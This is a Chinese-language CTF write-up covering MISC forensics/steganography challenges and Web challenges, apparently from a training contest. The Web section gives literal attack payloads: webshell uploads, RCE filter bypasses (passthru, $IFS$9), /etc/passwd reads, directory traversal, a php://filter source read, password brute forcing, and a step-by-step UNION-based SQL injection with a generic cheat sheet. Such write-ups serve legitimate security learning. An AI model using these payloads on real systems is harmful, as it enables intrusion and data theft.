MISC方向
1.南无啊弥陀佛
下载后发现是一个伪加密的压缩包,就用kali下的binwalk分离出文件来,得到另一个压缩包里的txt文档,发现是一个解密,用随波逐流来解密,得到flag
2.蜡笔小新被鲨鱼制裁
下载后得到一个pacp文件,根据查阅得知用wireshark工具,在题目中已经说了是攻击别人网站,那么就可以尝试用追踪流模式去分析,果然在里面找到了flag
3.所见不一定为实
下载后得到一个标着zip的文件,但是用010查看后发现是一个png文件,修改后缀就可得到答案了
4.猫猫虫
题目拿到的是一个GIF动图,就用随波逐流工具里的GIF分帧工具查看,在里面找到了flag,但是要注意区分大写的I跟小写的l
5.乌萨奇
打开文件是个图片,上面有个假的flag
放到kali里用exiftool查看后,发现comment那一栏特别可疑,就想到用随波逐流来解密,解出flag
6.美丽的小姐我叫Bond,GGBond~
拿到图片后用010查看发现是bmp文件,首先考虑bmp的隐写,但是并没有发现,就用各种工具去试,最后根据提示得知是隐水印的隐写方式
用吾爱破解的这款隐水印查看工具,比较方便好用
7.师兄看你找flag
这道题下载压缩包后得到一堆文件夹,里面有很多.xml格式的文件,其中就有被命名为document的文件,下意识用txt打开查看,发现里面有文字,就用检索的办法查看这道题的flag被拆成了两段,不过也还好只有两端,第二段索引}即可找到
8.想看zzc师兄的帅照吗
这道题目根据题目中的提示和得到的两张图片,可以轻松地发现宽高是不对的,但是这道题给了一个参考图片,那么在010中将宽高改为参考里给的数据即可
因为flag图片涉警,依据相关规定不得发出。
9.简单的社工
这道题目给出的是一个钟楼的图片,根据草坪上的中文,用百度地图去搜索得到是开远凤凰楼,再根据题目要求,用百度地图继续搜索得到经纬度,将其转换为md5加密后的结果即可(注意是小写32位)
10.这个demo好听吗
根据题目即可得知这是一个音频加密的题目,在网上搜索音频加密的方式,同时结合题目文件的名称,可以得知是用MP3stego工具解决在进行解密时要注意:题目文件给的的是社会主义核心价值观加密后的文本,要先进行解密,再用工具分离出一个.txt的文件,打开就是flag
11.你能get到师姐的忧伤吗
感觉本场最复杂的misc题目,下载附件后发现是一张猫的图片,根据题目的提示,大概可以猜测出是用了oursecret加密,就用010去索引是否存在password的字符,结果真的找到了用oursecret来提取文件
得到另一张图片,用010查看,发现图片里面还藏着一张png
在kali的root模式下采用foremost分离出文件,打开png就是flag
12.你小子一定行!!!
下载后就是一张图片,一样的套路,用随波逐流分析,发现宽高不对,修复高度后发现并没有隐藏文字,就还是用kali的exiftool查看,结果发现拍摄设备的名称很可疑,就用随波逐流工具查看,发现是flag
13.似曾相识的密码
首先附件被加密了,用010查看发现是真加密,就用爆破软件爆破密码得到一张图片,放到随波逐流里分析,发现信息太多,其中有用的是文件头被修改过,就用010查看,发现在中间部分ASCII码部分有明显区别,找到断层处,发现了WAV文件头
说明里面藏着一个音频文件,用kali的binwalk也没分离出有用的信息,就尝试用foremost工具来分离里面这段音频文件
分离出音频文件,根据提示,来到一个摩斯密码解密网站
解出来的结果用随波逐流来分析,并没有什么发现,最后才知道这就是flag
14.残缺的二维码
下载后得到的附件缺少二维码定位角,用cqr软件里自带的例图裁切出定位角,再利用Photoshop来拼接
用Photoshop拼接后在用CQR工具扫描
Web方向
1.Blank_Page
题目要求查看源代码,但是快捷键Ctrl+U,F12都被禁用了,那么就点击网页右上角找到更多工具,查看源代码即可
2.哆啦A梦的数学题
拿到题目发现按钮按不动,就用开发者工具查看源代码,发现按钮被禁用了
在元素一栏找到之前发现的禁用按钮那一串代码,将disabled删除即可正常进行按钮验证
3.ez_upload1
打开后是一个文件上传,标准一句话木马,然后蚁剑连接后在根目录处找到flag
4.ez_upload2
也是一个文件上传,但是根据题目要求只能上传图片,那么就上传一个图片马
上传完之后再用bp抓包,抓到之后将图片马后缀改回php,就可以用蚁剑连接了
5.web签到
打开题目,是一个传参题,根据题设,需要我们用get请求发送Yunxi1和Yuxin2,而且根据题目的说法需 要两个get请求都要在(根据&&连接符确定)同时运行两个get请求则用&链接,连接之后用hackbar发 送w3ll=D1d(由post那串和if条件判断那串确定),运行后得到结果。
6.ezrce1
分析php语言,当检测到传入yunxi这个变量时赋值给yunxi,接下来如果没有检测到黑名单里的字符,就会执行函数
这里需要绕过system用passthru(‘’);代替,之后ls查看当前目录下的文件,只有一个index
.php,就去查看根目录,找到flag
抓取根目录下的flag
7.Rce2
跟第六题代码基本一样,只是黑名单变多了,用$IFS$9绕过空格,tac代替cat,用“”来绕过
8.read
题目提示Linux里有哪些敏感文件,就上网搜,搜到/etc/passwd可以读取敏感文件。
输入后网页给出了一堆文件名字,其中有个zzc.php既放在后面,又比较可疑,就去读取这个文件
flag就在上面
9.穿…穿…穿…
根据题目提示:什么是穿越?就去上网搜搜,查到有个相关的web漏洞叫做目录穿越,题目考察的应该就是这个内容。根据提示使用目录穿越这个漏洞,一直尝试,试到第三次也是穿越成功了,得到一堆文件目录
根据题目里面提到的capoo关键词,就访问同级目录下的capoo.php
再根据提示,去打开flag.php
打开却是空白,最开始以为是flag名字找错了,就去一直试,最后发现如果flag名字不对会报错,再次回到这个页面,打开源代码才发现了flag
10.weak passwd
根据提示,这个是一个弱口令爆破,附件中也给了一个txt文档打开网页,这是一个登录页面,根据题目的提示,就用bp进行抓包尝试爆破密码
将抓到的包发给测试器模块,因为给了字典,就选择狙击手模块,在有效载荷(payload)界面导入字典
将变量设置为密码(因为题目中给了用户名,所以就爆破密码;图片上应改为选中密码)
开始爆破,爆破之后查看结果是302(与其他都不一样的是密码)
进到界面之后用开发者工具查看元素
这里的flag藏在元素里
11.图片库
打开是个文件上传界面,但是上传之后却没有给路径
这让我想起了isctf2024里的那道文件包含题,也是没有路径,解决方法是php伪协议读取源码,找到文件上传的路径。左边右边都点了发现没用,只有中间点进去有用,发现是一个文件包含
参考这个方法
这是得到源代码的php伪协议
php?filename=php://filter/convert.base64-encode/resource=index.php
得到一串文字,用base64解码
找到文件路径文件上传路径是被base64加密了,接下来就是一句话木马和蚁剑了
但是前面疏忽了一个细节,修改文件上传的名字并没有修改它的文件拓展名,试了2次才发现这个问题
之后在根目录下找到flag
12.2048game
这题是根据师兄的讲解才找到的思路,最开始一直在尝试改元素中的代码来解题,发现没用,因为每次改完后刷新会被自动改回初始状态,然后就尝试去代码里看看有没有什么细节绿色这段代码说明当满足上面的条件时,读取score而且score是从URL代码里面读取的,那么就去访问一下这个URL
解码后就是flag
13.admin
打开页面后根据提示注册普通用户然后登陆这样是得不到flag的,根据题目要求是要登录admin才能看到flag,这里根据题目的提示使用SQL注入的方法
(1)判断注入类型(这题参考了将bugku里sql注入方法的博文)
http://172.16.17.201:50181/user.php?id=1%27%20and%201=1%20--+
返回正确
http://172.16.17.201:50181/user.php?id=1%27%20and%201=2%20--+
返回错误,说明是字符型注入
(2)猜字段数
?id=1' order by 1 --+
没有返回空白,说明字段数为1
(3)爆库名,表名,列名
使用联合查询爆数据库名
?id=-1'union select database()--+
接着爆表名
?id=-1'union select group_concat(table_name)from information_schema.tables where table_schema='TGlu'--+
因为要登录admin,查看user,那个flag就是最开始的假flag
`?id=-1'union select group_concat(column_name) from information_schema.columns where table_name='User'--+`
接着爆用户名
?id=-1'union select group_concat(username) from User--+
这里的admin是要登录的,1是自己注册的
然后去爆密码
?id=-1'union select group_concat(password) from User--+
然后就可以登录admin了
总结:
1.sql字符注入知识点
1.知识点
整数型注入
(1)检查是否存在注入
and 1=1 返回正确
and 1=2 返回错误
(2)猜字段数
order by x(x为数字)
得出字段数
(3)爆数据库名
?id=1 and 1=2 union select 1,database()
得到数据库名称sqli
(4)爆表名
?id=1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'
得到表名 news,flag
(5)爆列名
?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
得到字段名flag
(6)爆字段内容(flag)
?id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag
2.存疑
这道题最开始我用sqlmap工具扫描,但是没有扫描到sql注入点
在kali里面用sqlmap工具进行扫描
sqlmap -u URL?id=1 --batch
回显显示没有sql注入点,但是这道题手动注入却可以成功做出来,具体原因并不清楚